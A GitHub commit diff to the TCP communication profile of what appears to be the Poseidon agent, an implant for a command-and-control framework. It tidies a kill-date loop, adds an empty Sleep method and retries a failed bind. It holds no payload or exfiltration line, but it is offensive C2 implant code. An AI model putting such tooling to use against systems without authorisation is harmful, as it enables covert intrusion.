Skip to content

Commit 819d6f8

Browse files
committed
adding new Sleep to tcp
1 parent 49c498a commit 819d6f8

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/poseidon_tcp.go

+5-1
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,16 @@ func init() {
8383
RegisterAvailableC2Profile(&profile)
8484
}
8585
func (c *C2PoseidonTCP) CheckForKillDate() {
86-
for true {
86+
for {
8787
time.Sleep(time.Duration(10) * time.Second)
8888
today := time.Now()
8989
if today.After(c.Killdate) {
9090
os.Exit(1)
9191
}
9292
}
93+
}
94+
func (c *C2PoseidonTCP) Sleep() {
95+
9396
}
9497
func (c *C2PoseidonTCP) Start() {
9598
// start listening
@@ -107,6 +110,7 @@ func (c *C2PoseidonTCP) Start() {
107110
if err != nil {
108111
utils.PrintDebug(fmt.Sprintf("Failed to bind: %v\n", err))
109112
time.Sleep(1 * time.Second)
113+
continue
110114
}
111115
utils.PrintDebug(fmt.Sprintf("Listening on %s\n", c.Port))
112116
if c.ShouldStop {

0 commit comments

Comments
 (0)